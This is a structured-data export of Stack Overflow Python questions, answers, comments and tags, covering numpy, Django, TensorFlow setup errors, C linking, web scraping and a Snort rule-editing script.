has title: How to populate an existing numpy array with specific dtype
has comment: http://stackoverflow.com/comment/84525402
has comment: http://stackoverflow.com/comment/84524951
tagged with: python
has comment: http://stackoverflow.com/comment/84525155
possible better answer: http://stackoverflow.com/a/48751743
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48751743
score: 1
has answer: http://stackoverflow.com/a/48753472
upvote count: 1
has comment: http://stackoverflow.com/comment/84504147
type: Question
tagged with: numpy
accepted answer: http://stackoverflow.com/a/48753472
tagged with: arrays
answer count: 2
has body: Let's say that I have this initial numpy array with some fixed dtype: array = numpy.array([(1, 'a'), (2, 'b')], numpy.dtype([('idfield',numpy.int32), ('textfield', '|S256')])) Now I need to populate this array in a for loop so I do that for val in value: array = np.append(array, np.array([(val[0],val[1])],numpy.dtype([('idfield',numpy.int32), ('textfield', '|S256')])),axis=0) It works but it really doesn't looks good ! I need to re-specified the dtype in the for loop, even if it's logic that i'm going to use the same dtype to populate my array. Do you know a simpler way to achieve this operation ?

http://stackoverflow.com/comment/84584420
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48790812
has text: Your really don't need a class here. Classes are only useful when you want to share state between functions and need to store this state between function calls.

http://stackoverflow.com/q/48768862
downvote count: 1
possible better answer: http://stackoverflow.com/a/48769081
type: Question
has comment: http://stackoverflow.com/comment/84538725
has answer: http://stackoverflow.com/a/48769301
answer count: 2
has body: The question is like this: Starting from 1, if I give you a number, say 6, I want you to find out what number is in position 6, after removing number containing 4. Result: 7 My script is like this: x = int(input('What position do you want? ')) y = 0 #variable to iterate until y = x z = 1 #count how many iteration while y &lt; x: y_str = str(y) if '4' in y_str: z += 1 continue else: y += 1 z += 1 print(z) But I don't know why the code don't stop. What's wrong with my code
favorite count: 0
has comment: http://stackoverflow.com/comment/84538536
tagged with: python
has comment: http://stackoverflow.com/comment/84538381
accepted answer: http://stackoverflow.com/a/48769301
has answer: http://stackoverflow.com/a/48769081
type: AnsweredQuestion
score: 0
has title: determine the position of a number after removing numbers containing 4 (python)
has comment: http://stackoverflow.com/comment/84538788
upvote count: 1

http://stackoverflow.com/comment/84428484
type: QuestionComment
score: 2
has text: What are you expecting that line to do?
comment on: http://stackoverflow.com/q/48714612
type: Comment

http://stackoverflow.com/comment/84313487
comment on: http://stackoverflow.com/q/48654011
score: 0
has text: Possible duplicate of https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/84506105
type: Comment
score: 0
has text: This will not work, this only works because the objects inside are `tuple` objects, but would fail the same as above with `np.ndarray` objects
type: AnswerComment
comment on: http://stackoverflow.com/a/48752669

http://stackoverflow.com/comment/85983946
has text: did yo find my answer below to be useful ?
score: 0
comment on: http://stackoverflow.com/q/48685830
type: Comment
type: QuestionComment

http://stackoverflow.com/a/48747420
accepted answer of: http://stackoverflow.com/q/48744437
answers question: http://stackoverflow.com/q/48744437
type: AcceptedAnswer
downvote count: 0
type: Answer
upvote count: 2
has body: How about doing something like this ? import logging as lg from logging import config After this both config and lg.config refer to logging.config. In [3]: config Out[3]: &lt;module 'logging.config' from 'C:\\Anaconda3\\lib\\logging\\config.py'&gt; In [4]: lg.config Out[4]: &lt;module 'logging.config' from 'C:\\Anaconda3\\lib\\logging\\config.py'&gt;
score: 2

http://stackoverflow.com/q/48726523
accepted answer: http://stackoverflow.com/a/48726524
type: AnsweredQuestion
score: 1
upvote count: 1
type: Question
has answer: http://stackoverflow.com/a/48726524
has body: I try to build an APK of a Kivy app. I am building on a fresh install of VirtualBox, a virtual machine for Ubuntu. The app I am trying to build is (as a starter) a standard app of the Kivy Tutorials, so it is unlikely that this is the cause of the error. I have found out what the problem was (even though I do not understand why this was a problem), see below. I wanted to share this via a Q&amp;A. Logs: kivy@kivyvm:/media/sf_HelloWorld$ buildozer android debug # Check configuration tokens # Ensure build layout # Check configuration tokens # Preparing build # Check requirements for android # Run 'dpkg --version' # Cwd None Debian 'dpkg' package management program version 1.18.10 (amd64). This is free software; see the GNU General Public License version 2 or later for copying conditions. There is NO warranty. # Search for Git (git) # -&gt; found at /usr/bin/git # Search for Cython (cython) # -&gt; found at /usr/local/bin/cython # Search for Java compiler (javac) # -&gt; found at /usr/lib/jvm/java-8-openjdk-amd64/bin/javac # Search for Java keytool (keytool) # -&gt; found at /usr/lib/jvm/java-8-openjdk-amd64/jre/bin/keytool # Install platform # Run 'pip install -q --user "appdirs" "colorama&gt;=0.3.3" "sh&gt;=1.10,&lt;1.12.5" "jinja2" "six"' # Cwd None # Apache ANT found at /home/kivy/.buildozer/android/platform/apache-ant-1.9.4 # Android SDK found at /home/kivy/.buildozer/android/platform/android-sdk-20 # Android NDK found at /home/kivy/.buildozer/android/platform/android-ndk-r9c # Check application requirements # Check garden requirements # Compile platform # Run '/usr/bin/python -m pythonforandroid.toolchain create --dist_name=tutorial --bootstrap=sdl2 --requirements=kivy --arch armeabi-v7a --copy-libs --color=always --storage-dir=/media/sf_HelloWorld/.buildozer/android/platform/build' # Cwd /media/sf_HelloWorld/.buildozer/android/platform/python-for-android-new-toolchain [INFO]: Will compile for the following archs: armeabi-v7a [INFO]: Found Android API target in $A…
tagged with: buildozer
answer count: 1
downvote count: 0
has title: Buildozer Android packaging error - sh.ErrorReturnCode_2: <exception str() failed>
favorite count: 0
tagged with: python
tagged with: kivy

http://stackoverflow.com/q/48681109
favorite count: 0
type: Question
has body: I have an issue with expanding the size of the Sklearn digit dataset digits from 8*8 to 32*32 pixels. My approach is to take the 8*8 array and then flatten and expand it. That is, enlarge from 64 to 1024 pixels in total. Therefore I simply want to multiply the values along each row 16 times: create a new array (=newfeatures) with 1024 NaN values. Replace every 16. value of the newfeatures array with the values of the original array, that is (0=0),(16=1),(32=2),(...),(1008=64). 3.Replace the remaining NaN values with dropna(ffill) to "expand" the original image to a 32*32 pixels image. Therefore I use the following code: #Load in the training dataset digits=datasets.load_digits() features=digits.data targets=digits.target #Plot original digit ax[0].imshow(features[0].reshape((8,8))) #Expand 8*8 image to a 32*32 image (64 to 1024) newfeatures=np.ndarray((1797,16*len(features[0]))) newfeatures[:]=np.NaN newfeatures=pd.DataFrame(newfeatures) for row in range(1797): for i in range(0,63): newfeatures.iloc[row,16*i]=features[row][i] newfeatures.fillna(method="ffill",axis=1,inplace=True) #Plot expanded image with 32*32 pixels ax[1].imshow(newfeatures.values[0].reshape((32,32))) As you can see, the result is not as expected
tagged with: python
answer count: 2
tagged with: image-processing
possible better answer: http://stackoverflow.com/a/48682216
upvote count: 1
has answer: http://stackoverflow.com/a/48681872
has answer: http://stackoverflow.com/a/48682216
has title: Expand Sklearn digit size fom 8*8 to 32*32
tagged with: matplotlib
tagged with: numpy
type: AnsweredQuestion
downvote count: 0
accepted answer: http://stackoverflow.com/a/48681872
score: 1
tagged with: scikit-learn

http://stackoverflow.com/comment/84529188
comment on: http://stackoverflow.com/q/48763177
score: 0
type: Comment
type: QuestionComment
has text: Yes though you abstract it enough that it will apply to any files that you place in the folder. Assume there is way to distinguish which tables come from which files? The pain is setting it up for the first time successfully. Do the file format change alot? In which case, might be easier to use a different solution.

http://stackoverflow.com/q/48725284
answer count: 2
tagged with: http://stackoverflow.com/tag/html
downvote count: 0
favorite count: 0
tagged with: beautifulsoup
tagged with: google-app-engine
has answer: http://stackoverflow.com/a/48752065
has title: BeautifulSoup: Saving changes back to HTML
tagged with: python
linked to: http://stackoverflow.com/q/15455148
has answer: http://stackoverflow.com/a/48727034
type: AnsweredQuestion
score: 1
upvote count: 1
possible better answer: http://stackoverflow.com/a/48727034
has body: I have the following Python code: content = webpage.content soup = Soup(content, 'html.parser') app_url = scheme + app_identity.get_default_version_hostname() + '/' for link in soup.find_all(href = True): if scheme in link['href']: link['href'] = link['href'].replace(scheme, app_url) logging.info('@MirrorPage | Updated link: %s', link['href']) else: link['href'] = input_url + link['href'].strip('/') logging.info('@MirrorPage | Updated asset: %s', link['href']) # https://stackoverflow.com/questions/15455148/find-after-replacewith-doesnt-work-using-beautifulsoup/19612218#19612218 #soup = Soup(soup.renderContents()) # https://stackoverflow.com/questions/14369447/how-to-save-back-changes-made-to-a-html-file-using-beautifulsoup-in-python content = soup.prettify(soup.original_encoding) and render my HTML like so: self.response.write(Environment().from_string(unicode(content, errors = 'ignore')).render()) Where app_identity is from Google App Engine, and jinja2 is used for templating/rendering. I've tried everything I can to write the modified HTML back to the content variable so that the proper webpage is rendered. How can I write any changes I make back properly? I have tried to use replaceWith where appropriate, but that doesn't seem to do the trick. Am I doing anything fundamentally wrong?
type: Question
linked to: http://stackoverflow.com/q/14369447
accepted answer: http://stackoverflow.com/a/48752065
tagged with: python-2.7

http://stackoverflow.com/comment/84610531
score: 0
type: Comment
type: QuestionComment
has text: Chris you've managed to make your question even less readable. Also put the tables like @jezrael and I have below.
comment on: http://stackoverflow.com/q/48803022

grid
tags question: http://stackoverflow.com/q/48670962
tag name: grid
type: Tag

http://stackoverflow.com/comment/84521007
comment on: http://stackoverflow.com/q/48741451
type: Comment
type: QuestionComment
has text: I have solved this issue. Thanks for watching this problem
score: 0

http://stackoverflow.com/comment/84557578
has text: 0 98 7 44 25 3 5 85 46 4 the goal is starting at 0 a play must move through the list in the least expensive move by either jumping to the adjacent cell or two cells over so for this list the answer is 7 + 25 + 5 + 46 + 4 meaning the cost would be 87 @Arief
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/48777430

eclipse
tag name: eclipse
tags question: http://stackoverflow.com/q/48779613
tags question: http://stackoverflow.com/q/48733545
tags question: http://stackoverflow.com/q/48673514
tags question: http://stackoverflow.com/q/48803585
tags question: http://stackoverflow.com/q/48698246
type: Tag

http://stackoverflow.com/comment/84576734
type: Comment
type: QuestionComment
has text: If the queue is accessed from multiple processes then `mp.Queue` is needed, otherwise you have independent queues for each process.
comment on: http://stackoverflow.com/q/48787400
score: 1

http://stackoverflow.com/comment/117458684
comment on: http://stackoverflow.com/a/48800045
has text: Please explain in plain English, the return statement above, thanks. What are ch1 and ch2?
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/q/48751031
tagged with: android
tagged with: python
score: -2
has title: How to launch WhatsApp on Android using Appium
upvote count: 2
tagged with: selenium
answer count: 1
has body: while launch WhatsApp using App-package and App-Activity capabilities it loads like first time after installation and needed new registration. Am i missing something? Is that known issue in Whats-App? Thanks
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84525119
downvote count: 4
tagged with: appium
has answer: http://stackoverflow.com/a/48783975
favorite count: 0
type: Question

http://stackoverflow.com/q/48773946
has comment: http://stackoverflow.com/comment/84549457
has title: Indentation Error in the Usage of 'def' in Python 3.7
type: Question
has body: def day_display_control(entered_variable,controlling_number,return_message): if entered_variable == controlling_number: return(return_message) I have been trying to find a problem here, as IDLE keeps on giving an indentation error saying expected an indented block yet I have found none so far, my indentation width is 4 and I tried using only tab as well, haven't found the solution, thank you in advance as this is probably a really basic question. P.S: I have also tried to debug the rest of the code without this line, yet while this gives the same error: def day_display(): day_display_number = day % 7 day_display = day_diplay_control(day_display_number,0,Monday) day_display = day_diplay_control(day_display_number,1,Thuesday) day_display = day_diplay_control(day_display_number,2,Wednesday) day_display = day_diplay_control(day_display_number,3,Thursday) day_display = day_diplay_control(day_display_number,4,Friday) day_display = day_diplay_control(day_display_number,5,Saturday) day_display = day_diplay_control(day_display_number,6,Sunday) Do not mind the quality of the code, the problem is that previous 'def's don't cause this to happen, such as; def typeWait(message,delay): message = str(message) print(message) sleep(delay) P.P.S: I have just realized, as of yesterday, that python was not 3.6 anymore, but instead 3.7 alpha 2, which leads me to believe that this is either a new feature or a bug, I have found no articles about either of them yet, so if anyone knows what the problem is, I would appriciate it a lot.
tagged with: indentation
answer count: 1
score: 0
tagged with: python-3.7
has answer: http://stackoverflow.com/a/48835140
tagged with: python
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84549653

http://stackoverflow.com/comment/84804777
comment on: http://stackoverflow.com/a/48787052
has text: Also I want to get probability as output from my code above. How to use - 'predicted_probabilities_output' ?
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/q/48799668
has comment: http://stackoverflow.com/comment/84603021
tagged with: django-filter
has body: I am using django-filter to filter my data. The issue is both the available options of the filters and the results are based on all the data, not only on the curent user. models.py class Product(models.Model): title = models.CharField(max_length=264) description = models.CharField(max_length=264) date_added = models.DateField(auto_now_add=True) time_added = models.TimeField(auto_now_add=True) user = models.ForeignKey(User, default=1, on_delete=models.CASCADE) I used the code below to filter the results only on the current user: filters.py class ProductFilter(django_filters.FilterSet): class Meta: model = Product @property def qs(self): parent = super(ProductFilter, self).qs user = getattr(self.request, "user", None) return parent.filter(user=user).order_by("-timestamp") In my views.py I tried to pass the queryset, but nothing changed: class ProductsFilterView(LoginRequiredMixin, FilterView): model = Product filterset_class = ProductFilter def get_queryset(self, **kwargs): return self.model.objects.filter(user=self.request.user) I am not sure how to limit the available filter options only on the current user's data. So, summarizing how can I pass into the filterset just the current user's data and not pass the whole data into the filterset and then filter them on current user's data.
accepted answer: http://stackoverflow.com/a/48800338
answer count: 1
tagged with: python
has title: How do I pass only current user data to be filtered in django-filter?
score: 0
tagged with: django
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48800338
type: Question
has comment: http://stackoverflow.com/comment/84602958

http://stackoverflow.com/comment/84337309
has text: Thanks but this is for python3 I believe. The question is tagged for python2.x. Will edit and make it explicit.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48650779
type: Comment

http://stackoverflow.com/q/48698536
tagged with: tensorflow
answer count: 4
accepted answer: http://stackoverflow.com/a/50189920
upvote count: 20
has title: (Tensorflow-GPU) import tensorflow ImportError: Could not find 'cudnn64_7.dll'
possible better answer: http://stackoverflow.com/a/48925479
has answer: http://stackoverflow.com/a/65668251
has body: After created tensorflow environment under anaconda, I installed tensorflow-gpu. Then I was trying to import tensorflow to verify if it's correctly installed, but got this error: ImportError: Could not find 'cudnn64_7.dll'. TensorFlow requires that this DLL be installed in a directory that is named in your %PATH% environment variable. Note that installing cuDNN is a separate step from installing CUDA, and this DLL is often found in a different directory from the CUDA DLLs. You may install the necessary DLL by downloading cuDNN 7 from this URL: https://developer.nvidia.com/cudnn Setup is: NVIDIA GTX 1080 CUDA 9.0 cuDNN 6.0 tensorflow-gpu 1.5 Environment Variables are: CUDA_PAT: C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v9.0 CUDA_PATH_V9_0: C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v9.0 The %Path% variables are: C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v9.0\bin C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v9.0\lib\x64 C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v9.0\libnvvp C:\Users\yshen\AppData\Local\cudnn-8.0-windows10-x64-v6.0\cuda\bin it is obvious that I installed cuDNN6.0, don't why the error shows "Could not find 'cudnn64_7.dll' ". Why it automatically searches cudnn64_7.dll instead of cudnn64_6.dll?
has answer: http://stackoverflow.com/a/48925479
has comment: http://stackoverflow.com/comment/115845739
type: AnsweredQuestion
downvote count: 0
has comment: http://stackoverflow.com/comment/84396383
favorite count: 0
type: Question
score: 20
has answer: http://stackoverflow.com/a/50189920
tagged with: python
has answer: http://stackoverflow.com/a/48698875
linked to: http://stackoverflow.com/q/65524505

http://stackoverflow.com/q/48766273
tagged with: python-3.x
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/17140886
has title: Incrementing a numerical value of a string by 1 - Python
has answer: http://stackoverflow.com/a/48766536
tagged with: python
has comment: http://stackoverflow.com/comment/84532905
has body: Im currently writing a script for python that will enable users to easily configure snort, I have a rule to protect TCP port 23 from access called IoTProtect with the following syntax: reject tcp any any -&gt; 169.254.183.24 23 (msg:Unauthorized access to IoT device!; sid:00000000;rev:003; ) The issue is that I have added functionality so that a user can add an IP address and this rule will be applied for that IP as well, however, for the rule to work the SID must be incremented by one or be unique. Currently the python script i've created is: import fileinput def incrementsid(): incremented = 0 added = incremented + 2 text = "sid:00000000" new_text = "sid:0000000{}".format(added) for line in fileinput.input("C:\\Users\\Admin\\Desktop\\Test\\IoTProtection.rules", inplace = 1): if text in line: print(line.replace(line,new_text)) print("Sid replaced!") else: print(line.strip()) incrementsid() However what actually happens is I receive this output: reject tcp any any -&gt; 169.254.183.24 23 (msg:Unauthorized access to IoT device!; sid:00000000;rev:003; ) and inside my Test folder the IoTProtect.rules file now only says: sid:00000002 Sid replaced! where I actually need IoTProtect.rules to say: reject tcp any any -&gt; 169.254.183.24 23 (msg:Unauthorized access to IoT device!; sid:00000002;rev:003; ) Apologies if my code is garbage but would I would really appreciate any advice or feedback on how to get this functionality working. Thanks!
type: Question
has comment: http://stackoverflow.com/comment/84532719
has comment: http://stackoverflow.com/comment/84564492
score: 0
tagged with: snort
answer count: 1

http://stackoverflow.com/a/48733555
has body: A little bit more fresh MySQL-python can be downloaded from https://pypi.python.org/pypi/MySQL-python/1.2.5 The import is just import MySQLdb. For Python 2.7 and 3.3+ use mysqlclient or PyMySQL. PyMySQL can be installed as a drop-in replacement for MySQL-python: import pymysql pymysql.install_as_MySQLdb() import MySQLdb
has comment: http://stackoverflow.com/comment/84466487
type: Answer
upvote count: 7
score: 7
accepted answer of: http://stackoverflow.com/q/48733396
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/48733396
downvote count: 0

directory
tags question: http://stackoverflow.com/q/48656460
tag name: directory
tags question: http://stackoverflow.com/q/48769225
type: Tag
tags question: http://stackoverflow.com/q/48665083
tags question: http://stackoverflow.com/q/48741012
tags question: http://stackoverflow.com/q/48672676
tags question: http://stackoverflow.com/q/48753022
tags question: http://stackoverflow.com/q/48699768

http://stackoverflow.com/comment/84526717
type: Comment
has text: I have added a link to a constructive proof - an example algorithm to do the conversion
score: 0
comment on: http://stackoverflow.com/a/48763041
type: AnswerComment

http://stackoverflow.com/a/48791261
answers question: http://stackoverflow.com/q/48790475
has comment: http://stackoverflow.com/comment/84589129
has body: I put your data into a dataframe df=pd.DataFrame({'count':[5,8,2,3,3]},index=[('a','b','c'),('a','b','d') ,('c','d','a'),('a','a','e') ,('a','b','e')]) s=df.loc[list(filter(lambda x: (x[0] == 'a')&amp;(x[1] == 'b'), df.index))] s Out[39]: count (a, b, c) 5 (a, b, d) 8 (a, b, e) 3 s.sort_values('count').tail(1) Out[44]: count (a, b, d) 8
score: 0
type: Answer

http://stackoverflow.com/a/48691885
downvote count: 0
score: 3
has comment: http://stackoverflow.com/comment/84386117
upvote count: 3
has body: You don't need a generator. Just print the set as is: print(set(a)) If you want to do something with each item use print(*(something(x) for x in set(a)), sep=', ') # unpacks generator, bare or even print({something(x) for x in set(a)}) # creates new set, surrounded by {} or print([something(x) for x in set(a)]) # creates new list, surrounded by []
has comment: http://stackoverflow.com/comment/84382656
answers question: http://stackoverflow.com/q/48691846
type: Answer

http://stackoverflow.com/q/48754352
has answer: http://stackoverflow.com/a/48762035
tagged with: python
possible better answer: http://stackoverflow.com/a/60359029
score: 11
answer count: 4
upvote count: 11
type: AnsweredQuestion
has body: I want to use numpy in my Jupyter notebook. However, I came across a weird problem. Despite the fact that: I have a numpy installed in my default python3. From Jupyter I've run a command !pip install numpy and !pip3 install numpy. I restarted my notebook multiple times. After running a command import numpy I get a message that package is not found: ImportError: No module named 'numpy' I use python3 kernel of course. Has anyone come across similar problem?
type: Question
tagged with: numpy
tagged with: python-import
has answer: http://stackoverflow.com/a/63169546
has answer: http://stackoverflow.com/a/48758996
has title: Python package not found in jupyter even after running pip install
accepted answer: http://stackoverflow.com/a/63169546
downvote count: 0
favorite count: 0
tagged with: jupyter-notebook
has answer: http://stackoverflow.com/a/60359029
tagged with: package

http://stackoverflow.com/comment/84559238
type: Comment
comment on: http://stackoverflow.com/q/48776346
score: 1
has text: This was fixed in 3.0.6: https://github.com/coleifer/peewee/blob/master/CHANGELOG.md#306
type: QuestionComment

http://stackoverflow.com/comment/84412912
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/48707089
has text: @ArnavBorborah I am not saying that the result is wrong; I am just surprised it is not the same

http://stackoverflow.com/comment/84487270
comment on: http://stackoverflow.com/q/48703716
has text: I created a completely new project and even in it I get the same error. I do not understand what I'm doing wrong, like everything is the same as in the [backerydemo](https://github.com/wagtail/bakerydemo/blob/0565aaeeba0aac1355683f9e536e1e398775c80c/bakerydemo/blog/models.py#L23) and in documentation [documentaions](http://docs.wagtail.io/en/v1.13.1/reference/pages/panels.html?highlight=inlinepanel#inline-panels-and-model-clusters)
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84558126
has text: Tried the buildpack swap. Doesn't appear to be executing server.js. I'll explore some different options. Thanks for such great responsiveness Yoni!
type: Comment
comment on: http://stackoverflow.com/a/48671495
type: AnswerComment
score: 0

http://stackoverflow.com/comment/84412358
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48704926
has text: What does the HTML of the list look like?

tcp
type: Tag
tags question: http://stackoverflow.com/q/48674992
tags question: http://stackoverflow.com/q/48704596
tags question: http://stackoverflow.com/q/48709156
tags question: http://stackoverflow.com/q/48680200
tags question: http://stackoverflow.com/q/48693429
tag name: tcp

http://stackoverflow.com/comment/84587471
score: 0
type: Comment
has text: if one wants to create a 0-based index when the Dask dataframe is created, how would one do this?
comment on: http://stackoverflow.com/a/48787808
type: AnswerComment

http://stackoverflow.com/q/48661163
type: Question
has comment: http://stackoverflow.com/comment/84319815
has answer: http://stackoverflow.com/a/48699337
answer count: 1
tagged with: segmentation-fault
has body: I want to get the similarity of one document to other documents. I use gensim. The program can run correctly, but after some steps it exits with Segmentation fault. Below is my code: from gensim import corpora, models, similarities docs = [['Looking', 'for', 'the', 'meanings', 'of', 'words'], ['phrases'], ['and', 'expressions'], ['We', 'provide', 'hundreds', 'of', 'thousands', 'of', 'definitions'], ['synonyms'], ['antonyms'], ['and', 'pronunciations', 'for', 'English', 'and', 'other', 'languages'], ['derived', 'from', 'our', 'language', 'research', 'and', 'expert', 'analysis'], ['We', 'also', 'offer', 'a', 'unique', 'set', 'of', 'examples', 'of', 'real', 'usage'], ['as', 'well', 'as', 'guides', 'to:']] dictionary = corpora.Dictionary(docs) corpus = [dictionary.doc2bow(text) for text in docs] nf=len(dictionary.dfs) index = similarities.SparseMatrixSimilarity(corpus, num_features=nf) phrases = [['This', 'section', 'gives', 'guidelines', 'on', 'writing', 'in', 'everyday', 'situations'], ['from', 'applying', 'for', 'a', 'job', 'to', 'composing', 'letters', 'of', 'complaint', 'or', 'making', 'an', 'insurance', 'claim'], ['There', 'are', 'plenty', 'of', 'sample', 'documents', 'to', 'help', 'you', 'get', 'it', 'right', 'every', 'time'], ['create', 'a', 'good', 'impression'], ['and', 'increase', 'the', 'likelihood', 'of', 'achieving', 'your', 'desired', 'outcome']] phrase2word=[dictionary.doc2bow(text,allow_update=True) for text in phrases] sims=index[phrase2word] It can run normally until get sims, but it cannot get sims, and using gdb gets the following info: Program received signal SIGSEGV, Segmentation fault. 0x00007fffd881d809 in csr_tocsc (n_row=5, n_col=39, Ap=0x4a4eb10, Aj=0x9fc6ec0, Ax=0x1be4a00, Bp=0xa15f6a0, Bi=0x9f3ee80, Bx=0x9f85f60) at scipy/sparse/sparsetools/csr.h:411 411 scipy/sparse/sparsetools/csr.h: 没有那个文件或目录.
type: UnansweredQuestion
tagged with: python
tagged with: gensim
has title: gensim.similarities.SparseMatrixSimilarity get segmentation-fault
tagged with: c++
score: 0

http://stackoverflow.com/a/48867991
has comment: http://stackoverflow.com/comment/127871412
score: -3
type: Answer
answers question: http://stackoverflow.com/q/48684613
upvote count: 0
has comment: http://stackoverflow.com/comment/135673221
has body: The method to update fields in python is implemented in idiomatic library, it's called update_table(). It calls into BigQuery API's patch method.
downvote count: 3

http://stackoverflow.com/comment/98674669
type: Comment
has text: Please accept ans(tick symbol) if it solved your problem.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48700728

http://stackoverflow.com/a/48836737
has body: The experienced problems are obviously from the linker (gcc started a linker under the hood, to see it - just start gcc with -v - in verbose mode). So let's start with a short reminder how the linkage process works: The linker keeps the names of all symbols it needs to resolve. In the beginning it is only the symbol main. What happens, when linker inspects a library? If it is a static library, the linker looks at every object file in this library, and if this object files defines some looked for symbols, the whole object file is included (which means some symbols becomes resolved, but some further new unresolved symbols can be added). Linker might need to pass multiple times over a static library. If it is a shared library, it is viewed by the linker as a library consisting out of a single huge object file (after all, we have to load this library at the run time and don't have to pass multiple times over and over to prune unused symbols): If there is at least one needed symbol the whole library is "linked" (not really the linkage happens at the run-time, this is a kind of a dry-run), if not - the whole library is discarded and never looked again at. For example if you link with: gcc -L/path -lpython3.x <other libs> foo.o you will get a problem, no matter whether python3.x is a shared or a static lib: when the linker sees it, it looks only for the symbol main, but this symbol is not defined in the python-lib, so it the python-lib is discarded and never looked again at. Only when the linker sees the object-file foo.o, it realizes, that the whole Python-Symbols are needed, but now it is already too late. There is a simple rule to handle this problem: put the object files first! That means: gcc -L/path foo.o -lpython3.x <other libs> Now the linker knows what it needs from the python-lib, when it first sees it. There are other ways to achieve a similar result. A) Let the linker to reiterate a group of archives as long as at least one new symbol definition was added per s…
has comment: http://stackoverflow.com/comment/84736403
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48796014
score: 12
answers question: http://stackoverflow.com/q/48796014
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/84735099
type: Answer
upvote count: 12

spacy
tags question: http://stackoverflow.com/q/48779574
tag name: spacy
tags question: http://stackoverflow.com/q/48785232
tags question: http://stackoverflow.com/q/48783245
type: Tag
tags question: http://stackoverflow.com/q/48783876
tags question: http://stackoverflow.com/q/48649480

http://stackoverflow.com/comment/84607460
score: 0
has text: Why can't if i'm not in function? Vikas edited that for me. I didn't write that.
type: QuestionComment
comment on: http://stackoverflow.com/q/48802427
type: Comment

http://stackoverflow.com/comment/84620750
score: 0
comment on: http://stackoverflow.com/a/48803361
type: AnswerComment
type: Comment
has text: You're welcome. here is a hastily obtained ref [scikit-learn cross validation](http://scikit-learn.org/stable/modules/cross_validation.html#cross-validation) ***A test set should still be held out for final evaluation, but the validation set is no longer needed when doing CV. In the basic approach, called k-fold CV, the training set is split into k smaller sets (other approaches are described below, but generally follow the same principles). The following procedure is followed for each of the k “folds”:***

http://stackoverflow.com/comment/88796902
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/48727285
has text: Didn't work for Linux. However, by mac OS works fine. Why official documents are not correct and lead to issues?

http://stackoverflow.com/comment/84558259
type: QuestionComment
comment on: http://stackoverflow.com/q/48777430
score: 0
type: Comment
has text: I thinks the 2nd one should be : 7 + 25 + 3 + 5 + 46 + 4

mininet
tag name: mininet
type: Tag
tags question: http://stackoverflow.com/q/48708508

http://stackoverflow.com/a/48796157
answers question: http://stackoverflow.com/q/48796084
downvote count: 0
score: 1
has body: List comprehension with enumerate: [i for i, v in enumerate(str_) if v in alphabet] i is the index, v is the value at corresponding index i, while enumerate-ing over the input string if v in alphabet does the membership test; if found, the index is saved Example: In [58]: import string ...: alphabet = string.ascii_lowercase ...: ...: str_ = "Bob's tank has a big boom!" ...: In [59]: [i for i, v in enumerate(str_) if v in alphabet] Out[59]: [1, 2, 4, 6, 7, 8, 9, 11, 12, 13, 15, 17, 18, 19, 21, 22, 23, 24]
upvote count: 1
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/48796084
type: Answer

http://stackoverflow.com/q/48714168
tagged with: beautifulsoup
has answer: http://stackoverflow.com/a/48714582
answer count: 1
tagged with: python
type: UnansweredQuestion
score: 0
has body: I am trying to write a python script that goes onto the website https://www.premierleague.com/players, takes a list of football player names from a spreadsheet I have (400+ footballer names), and inside a loop, iteratively searches for the link to each football player's page. For example : https://www.premierleague.com/players/4040/Benik-Afobe/overview. The final bit of the script is commented out as I have finalised that yet, but for context of what I'm eventually going to get to: it will take this list of urls that I will have obtained, and iteratively search for each players link to the player image, and append it to a list. I managed to get it to work for an individual player (Benik Afobe), but since adding the 'players_list' and trying a loop, I get the following error: Traceback (most recent call last): File "C:/Users/Liam/Documents/GitHub/Football_Scraping/fantast_pl_images.py", line 33, in &lt;module&gt; player_link = soup.find('a', href=re.compile('%s'))['href'] %player TypeError: 'NoneType' object is not subscriptable Does anyone know what I'm doing wrong and how to get my loop working? The Repo of my project can be found here: https://github.com/leej11/Football_Scraping # Import the Libraries that I need import urllib3 import certifi from bs4 import BeautifulSoup import re import pandas as pd # Specify the URL url = 'https://www.premierleague.com/players' http = urllib3.PoolManager(cert_reqs='CERT_REQUIRED', ca_certs=certifi.where()) response = http.request('GET', url, headers={'User-Agent': 'Mozilla/5.0'}) #Parse the html using beautiful soup and store in variable 'soup' soup = BeautifulSoup(response.data, "html.parser") #Importing the list of players I want to scrape the image of players_list = pd.read_csv('epl_players_anki_clean.csv') #Test that it's pulling all of the players names correctly print(players_list.iloc[:,0]) print (type(players_list)) #Convert the pandas dataframe to a list of strings, with each item being the string of a player name list…
tagged with: loops
has comment: http://stackoverflow.com/comment/84427450
type: Question
has comment: http://stackoverflow.com/comment/84427412
has title: Using beautiful soup inside a loop to search for urls

http://stackoverflow.com/comment/84503470
type: Comment
comment on: http://stackoverflow.com/a/48647001
score: 2
type: AnswerComment
has text: this is amazingly concise ;-)

http://stackoverflow.com/q/48680607
has answer: http://stackoverflow.com/a/48791133
tagged with: python
upvote count: 6
score: 6
tagged with: tensorflow
has title: Slicing tensors in tensorflow using argmax
has answer: http://stackoverflow.com/a/48852303
type: Question
answer count: 2
downvote count: 0
favorite count: 0
